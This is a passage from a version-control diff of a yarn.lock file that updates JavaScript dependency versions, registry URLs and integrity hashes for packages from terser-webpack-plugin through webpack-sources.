+  integrity sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==
+  dependencies:
+    bl "^4.0.3"
+    end-of-stream "^1.4.1"
+    fs-constants "^1.0.0"
+    inherits "^2.0.3"
+    readable-stream "^3.1.1"
+
 terminal-link@^2.0.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/terminal-link/-/terminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994"
@@ -8128,24 +8936,24 @@ terminal-link@^2.0.0:
     ansi-escapes "^4.2.1"
     supports-hyperlinks "^2.0.0"
 
-terser-webpack-plugin@^5.1.3, terser-webpack-plugin@^5.2.5:
-  version "5.3.5"
-  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.5.tgz#f7d82286031f915a4f8fb81af4bd35d2e3c011bc"
-  integrity sha512-AOEDLDxD2zylUGf/wxHxklEkOe2/r+seuyOWujejFrIxHf11brA1/dWQNIgXa1c6/Wkxgu7zvv0JhOWfc2ELEA==
+terser-webpack-plugin@^5.2.5, terser-webpack-plugin@^5.3.10:
+  version "5.3.10"
+  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz#904f4c9193c6fd2a03f693a2150c62a92f40d199"
+  integrity sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==
   dependencies:
-    "@jridgewell/trace-mapping" "^0.3.14"
+    "@jridgewell/trace-mapping" "^0.3.20"
     jest-worker "^27.4.5"
     schema-utils "^3.1.1"
-    serialize-javascript "^6.0.0"
-    terser "^5.14.1"
+    serialize-javascript "^6.0.1"
+    terser "^5.26.0"
 
-terser@^5.10.0, terser@^5.14.1:
-  version "5.14.2"
-  resolved "https://registry.yarnpkg.com/terser/-/terser-5.14.2.tgz#9ac9f22b06994d736174f4091aa368db896f1c10"
-  integrity sha512-oL0rGeM/WFQCUd0y2QrWxYnq7tfSuKBiqTjRPWrRgB46WD/kiwHwF8T23z78H6Q6kGCuuHcPB+KULHRdxvVGQA==
+terser@^5.10.0, terser@^5.26.0:
+  version "5.31.6"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.31.6.tgz#c63858a0f0703988d0266a82fcbf2d7ba76422b1"
+  integrity sha512-PQ4DAriWzKj+qgehQ7LK5bQqCFNMmlhjR2PFFLuqGCpuCAauxemVBWwWOxo3UIwWQx8+Pr61Df++r76wDmkQBg==
   dependencies:
-    "@jridgewell/source-map" "^0.3.2"
-    acorn "^8.5.0"
+    "@jridgewell/source-map" "^0.3.3"
+    acorn "^8.8.2"
     commander "^2.20.0"
     source-map-support "~0.5.20"
 
@@ -8161,19 +8969,36 @@ test-exclude@^6.0.0:
 text-table@^0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
+
+thenify-all@^1.0.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/thenify-all/-/thenify-all-1.6.0.tgz#1a1918d402d8fc3f98fbf234db0bcc8cc10e9726"
+  integrity sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==
+  dependencies:
+    thenify ">= 3.1.0 < 4"
+
+"thenify@>= 3.1.0 < 4":
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/thenify/-/thenify-3.3.1.tgz#8932e686a4066038a016dd9e2ca46add9838a95f"
+  integrity sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==
+  dependencies:
+    any-promise "^1.0.0"
 
 throat@^6.0.1:
-  version "6.0.1"
-  resolved "https://registry.yarnpkg.com/throat/-/throat-6.0.1.tgz#d514fedad95740c12c2d7fc70ea863eb51ade375"
-  integrity sha512-8hmiGIJMDlwjg7dlJ4yKGLK8EsYqKgPWbG3b4wjJddKNwc7N7Dpn08Df4szr/sZdMVeOstrdYSsqzX6BYbcB+w==
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/throat/-/throat-6.0.2.tgz#51a3fbb5e11ae72e2cf74861ed5c8020f89f29fe"
+  integrity sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==
 
-tmpl@1.0.x:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.4.tgz#23640dd7b42d00433911140820e5cf440e521dd1"
+tmpl@1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc"
+  integrity sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==
 
 to-fast-properties@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
+  integrity sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==
 
 to-regex-range@^5.0.1:
   version "5.0.1"
@@ -8188,27 +9013,19 @@ toidentifier@1.0.1:
   integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
 
 touch@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/touch/-/touch-3.1.0.tgz#fe365f5f75ec9ed4e56825e0bb76d24ab74af83b"
-  integrity sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==
-  dependencies:
-    nopt "~1.0.10"
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/touch/-/touch-3.1.1.tgz#097a23d7b161476435e5c1344a95c0f75b4a5694"
+  integrity sha512-r0eojU4bI8MnHr8c5bNo7lJDdI2qXlWWJk6a9EAFG7vbhTjElYhBVS3/miuE0uOuoLdb8Mc/rVfsmm6eo5o9GA==
 
 tough-cookie@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-4.0.0.tgz#d822234eeca882f991f0f908824ad2622ddbece4"
-  integrity sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-4.1.4.tgz#945f1461b45b5a8c76821c33ea49c3ac192c1b36"
+  integrity sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==
   dependencies:
     psl "^1.1.33"
     punycode "^2.1.1"
-    universalify "^0.1.2"
-
-tr46@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/tr46/-/tr46-2.0.2.tgz#03273586def1595ae08fedb38d7733cee91d2479"
-  integrity sha512-3n1qG+/5kg+jrbTzwAykB5yRYtQCTqOGKq5U5PE3b0a1/mzo6snDhjGS0zJVJunO0NrT3Dg1MLy5TjWP/UJppg==
-  dependencies:
-    punycode "^2.1.1"
+    universalify "^0.2.0"
+    url-parse "^1.5.3"
 
 tr46@^2.1.0:
   version "2.1.0"
@@ -8222,23 +9039,32 @@ tree-kill@^1.2.2:
   resolved "https://registry.yarnpkg.com/tree-kill/-/tree-kill-1.2.2.tgz#4ca09a9092c88b73a7cdc5e8a01b507b0790a0cc"
   integrity sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==
 
+ts-interface-checker@^0.1.9:
+  version "0.1.13"
+  resolved "https://registry.yarnpkg.com/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz#784fd3d679722bc103b1b4b8030bcddb5db2a699"
+  integrity sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==
+
 tslib@^1.9.0:
-  version "1.9.3"
-  resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.9.3.tgz#d7e4dd79245d85428c4d7e4822a79917954ca286"
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
+  integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==
 
-tslib@^2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.0.3.tgz#8e0741ac45fc0c226e58a17bfc3e64b9bc6ca61c"
-  integrity sha512-uZtkfKblCEQtZKBF6EBXVZeQNl82yqtDQdv+eck8u7tdPxjLu2/lp5/uPW+um2tpuxINHWy3GhiccY7QgEaVHQ==
+tslib@^2.0.3, tslib@^2.1.0:
+  version "2.6.3"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.6.3.tgz#0438f810ad7a9edcde7a241c3d80db693c8cbfe0"
+  integrity sha512-xNvxJEOUiWPGhUuUdQgAJPKOOJfGnIyKySOc09XkKsgdUV/3E2zvwZYdejjmRgPCgcym1juLH3226yA7sEFJKQ==
 
-tslib@^2.1.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.4.0.tgz#7cecaa7f073ce680a05847aa77be941098f36dc3"
-  integrity sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==
+tunnel-agent@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd"
+  integrity sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==
+  dependencies:
+    safe-buffer "^5.0.1"
 
 type-check@~0.3.2:
   version "0.3.2"
   resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
+  integrity sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==
   dependencies:
     prelude-ls "~1.1.2"
 
@@ -8255,6 +9081,7 @@ type-fest@^0.11.0:
 type-fest@^0.5.2:
   version "0.5.2"
   resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.5.2.tgz#d6ef42a0356c6cd45f49485c3b6281fc148e48a2"
+  integrity sha512-DWkS49EQKVX//Tbupb9TFa19c7+MK1XmzkrZUR8TAktmE/DizXoaoJV6TZ/tSIPXipqNiRI6CyAe7x69Jb6RSw==
 
 type-is@~1.6.18:
   version "1.6.18"
@@ -8264,6 +9091,50 @@ type-is@~1.6.18:
     media-typer "0.3.0"
     mime-types "~2.1.24"
 
+typed-array-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.2.tgz#1867c5d83b20fcb5ccf32649e5e2fc7424474ff3"
+  integrity sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ==
+  dependencies:
+    call-bind "^1.0.7"
+    es-errors "^1.3.0"
+    is-typed-array "^1.1.13"
+
+typed-array-byte-length@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.1.tgz#d92972d3cff99a3fa2e765a28fcdc0f1d89dec67"
+  integrity sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==
+  dependencies:
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    has-proto "^1.0.3"
+    is-typed-array "^1.1.13"
+
+typed-array-byte-offset@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.2.tgz#f9ec1acb9259f395093e4567eb3c28a580d02063"
+  integrity sha512-Ous0vodHa56FviZucS2E63zkgtgrACj7omjwd/8lTEMEPFFyjfixMZ1ZXenpgCFBBt4EC1J2XsyVS2gkG0eTFA==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    has-proto "^1.0.3"
+    is-typed-array "^1.1.13"
+
+typed-array-length@^1.0.6:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.6.tgz#57155207c76e64a3457482dfdc1c9d1d3c4c73a3"
+  integrity sha512-/OxDN6OtAk5KBpGb28T+HZc2M+ADtvRxXrKKbUwtsLgdoxgX13hyy7ek6bFRl5+aBs2yZzB0c4CnQfAtVypW/g==
+  dependencies:
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    has-proto "^1.0.3"
+    is-typed-array "^1.1.13"
+    possible-typed-array-names "^1.0.0"
+
 typedarray-to-buffer@^3.1.5:
   version "3.1.5"
   resolved "https://registry.yarnpkg.com/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080"
@@ -8271,34 +9142,33 @@ typedarray-to-buffer@^3.1.5:
   dependencies:
     is-typedarray "^1.0.0"
 
+unbox-primitive@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.0.2.tgz#29032021057d5e6cdbd08c5129c226dff8ed6f9e"
+  integrity sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==
+  dependencies:
+    call-bind "^1.0.2"
+    has-bigints "^1.0.2"
+    has-symbols "^1.0.3"
+    which-boxed-primitive "^1.0.2"
+
 undefsafe@^2.0.5:
   version "2.0.5"
   resolved "https://registry.yarnpkg.com/undefsafe/-/undefsafe-2.0.5.tgz#38733b9327bdcd226db889fb723a6efd162e6e2c"
   integrity sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==
 
 undici@^5.20.0:
-  version "5.20.0"
-  resolved "https://registry.yarnpkg.com/undici/-/undici-5.20.0.tgz#6327462f5ce1d3646bcdac99da7317f455bcc263"
-  integrity sha512-J3j60dYzuo6Eevbawwp1sdg16k5Tf768bxYK4TUJRH7cBM4kFCbf3mOnM/0E3vQYXvpxITbbWmBafaDbxLDz3g==
+  version "5.28.4"
+  resolved "https://registry.yarnpkg.com/undici/-/undici-5.28.4.tgz#6b280408edb6a1a604a9b20340f45b422e373068"
+  integrity sha512-72RFADWFqKmUb2hmmvNODKL3p9hcB6Gt2DOQMis1SEBaV6a4MH8soBvzg+95CYhCKPFedut2JY9bMfrDl9D23g==
   dependencies:
-    busboy "^1.6.0"
-
-unicode-canonical-property-names-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz#2619800c4c825800efdd8343af7dd9933cbe2818"
+    "@fastify/busboy" "^2.0.0"
 
 unicode-canonical-property-names-ecmascript@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz#301acdc525631670d39f6146e0e77ff6bbdebddc"
   integrity sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==
 
-unicode-match-property-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz#8ed2a32569961bce9227d09cd3ffbb8fed5f020c"
-  dependencies:
-    unicode-canonical-property-names-ecmascript "^1.0.4"
-    unicode-property-aliases-ecmascript "^1.0.4"
-
 unicode-match-property-ecmascript@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz#54fd16e0ecb167cf04cf1f756bdcc92eba7976c3"
@@ -8307,88 +9177,83 @@ unicode-match-property-ecmascript@^2.0.0:
     unicode-canonical-property-names-ecmascript "^2.0.0"
     unicode-property-aliases-ecmascript "^2.0.0"
 
-unicode-match-property-value-ecmascript@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.1.0.tgz#5b4b426e08d13a80365e0d657ac7a6c1ec46a277"
-
-unicode-match-property-value-ecmascript@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz#1a01aa57247c14c568b89775a54938788189a714"
-  integrity sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==
-
-unicode-match-property-value-ecmascript@^2.1.0:
+unicode-match-property-value-ecmascript@^2.0.0, unicode-match-property-value-ecmascript@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz#cb5fffdcd16a05124f5a4b0bf7c3770208acbbe0"
   integrity sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==
 
-unicode-property-aliases-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.0.4.tgz#5a533f31b4317ea76f17d807fa0d116546111dd0"
-
 unicode-property-aliases-ecmascript@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz#0a36cb9a585c4f6abd51ad1deddb285c165297c8"
-  integrity sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz#43d41e3be698bd493ef911077c9b131f827e8ccd"
+  integrity sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==
 
 uniq@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/uniq/-/uniq-1.0.1.tgz#b31c5ae8254844a3a8281541ce2b04b865a734ff"
+  integrity sha512-Gw+zz50YNKPDKXs+9d+aKAjVwpjNwqzvNpLigIruT4HA9lMZNdMqs9x07kKHB/L9WRzqp4+DlTU5s4wG2esdoA==
 
-universalify@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.1.2.tgz#b646f69be3942dabcecc9d6639c80dc105efaa66"
-  integrity sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==
+universalify@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.2.0.tgz#6451760566fa857534745ab1dde952d1b1761be0"
+  integrity sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==
 
 universalify@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717"
-  integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.1.tgz#168efc2180964e6386d061e094df61afe239b18d"
+  integrity sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==
 
 unpipe@1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
+  integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
 
 unquote@~1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/unquote/-/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
+  integrity sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==
 
-update-browserslist-db@^1.0.11:
-  version "1.0.11"
-  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz#9a2a641ad2907ae7b3616506f4b977851db5b940"
-  integrity sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==
-  dependencies:
-    escalade "^3.1.1"
-    picocolors "^1.0.0"
-
-update-browserslist-db@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.0.5.tgz#be06a5eedd62f107b7c19eb5bcefb194411abf38"
-  integrity sha512-dteFFpCyvuDdr9S/ff1ISkKt/9YZxKjI9WlRR99c180GaztJtRa/fn18FdxGVKVsnPY7/a/FDN68mcvUmP4U7Q==
+update-browserslist-db@^1.0.11, update-browserslist-db@^1.0.5, update-browserslist-db@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz#7ca61c0d8650766090728046e416a8cde682859e"
+  integrity sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==
   dependencies:
-    escalade "^3.1.1"
-    picocolors "^1.0.0"
+    escalade "^3.1.2"
+    picocolors "^1.0.1"
 
-uri-js@^4.2.2:
+uri-js@^4.2.2, uri-js@^4.4.1:
   version "4.4.1"
   resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
   integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
   dependencies:
     punycode "^2.1.0"
 
-util-deprecate@^1.0.2:
+url-parse@^1.5.3:
+  version "1.5.10"
+  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.10.tgz#9d3c2f736c1d75dd3bd2be507dcc111f1e2ea9c1"
+  integrity sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==
+  dependencies:
+    querystringify "^2.1.1"
+    requires-port "^1.0.0"
+
+util-deprecate@^1.0.1, util-deprecate@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
+  integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
 
 util.promisify@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.0.tgz#440f7165a459c9a16dc145eb8e72f35687097030"
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee"
+  integrity sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==
   dependencies:
-    define-properties "^1.1.2"
-    object.getownpropertydescriptors "^2.0.3"
+    define-properties "^1.1.3"
+    es-abstract "^1.17.2"
+    has-symbols "^1.0.1"
+    object.getownpropertydescriptors "^2.1.0"
 
 utila@~0.4:
   version "0.4.0"
   resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
+  integrity sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==
 
 v8-to-istanbul@^8.1.0:
   version "8.1.1"
@@ -8419,15 +9284,16 @@ w3c-xmlserializer@^2.0.0:
     xml-name-validator "^3.0.0"
 
 walker@^1.0.7:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb"
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.8.tgz#bd498db477afe573dc04185f011d3ab8a8d7653f"
+  integrity sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==
   dependencies:
-    makeerror "1.0.x"
+    makeerror "1.0.12"
 
-watchpack@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.4.0.tgz#fa33032374962c78113f93c7f2fb4c54c9862a5d"
-  integrity sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==
+watchpack@^2.4.1:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.4.2.tgz#2feeaed67412e7c33184e5a79ca738fbd38564da"
+  integrity sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==
   dependencies:
     glob-to-regexp "^0.4.1"
     graceful-fs "^4.1.2"
@@ -8454,9 +9320,9 @@ webpack-dev-middleware@^5.3.4:
     schema-utils "^4.0.0"
 
 webpack-hot-middleware@^2.25.3:
-  version "2.25.3"
-  resolved "https://registry.yarnpkg.com/webpack-hot-middleware/-/webpack-hot-middleware-2.25.3.tgz#be343ce2848022cfd854dd82820cd730998c6794"
-  integrity sha512-IK/0WAHs7MTu1tzLTjio73LjS3Ov+VvBKQmE8WPlJutgG5zT6Urgq/BbAdRrHTRpyzK0dvAvFh1Qg98akxgZpA==
+  version "2.26.1"
+  resolved "https://registry.yarnpkg.com/webpack-hot-middleware/-/webpack-hot-middleware-2.26.1.tgz#87214f1e3f9f3acab9271fef9e6ed7b637d719c0"
+  integrity sha512-khZGfAeJx6I8K9zKohEWWYN6KDlVw2DHownoe+6Vtwj1LP9WFgegXnVMSkZ/dBEBtXFwrkkydsaPFlB7f8wU2A==
   dependencies:
     ansi-html-community "0.0.8"
     html-entities "^2.1.0"
@@ -8478,61 +9344,54 @@ webpack-sources@^2.2.0:
     source-list-map "^2.0.1"
     source-map "^0.6.1"
 
-webpack-sources@^3.2.3:
+webpack-sources@^3.2.0, webpack-sources@^3.2.3:
   version "3.2.3"
   resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.2.3.tgz#2d4daab8451fd4b240cc27055ff6a0c2ccea0cde"
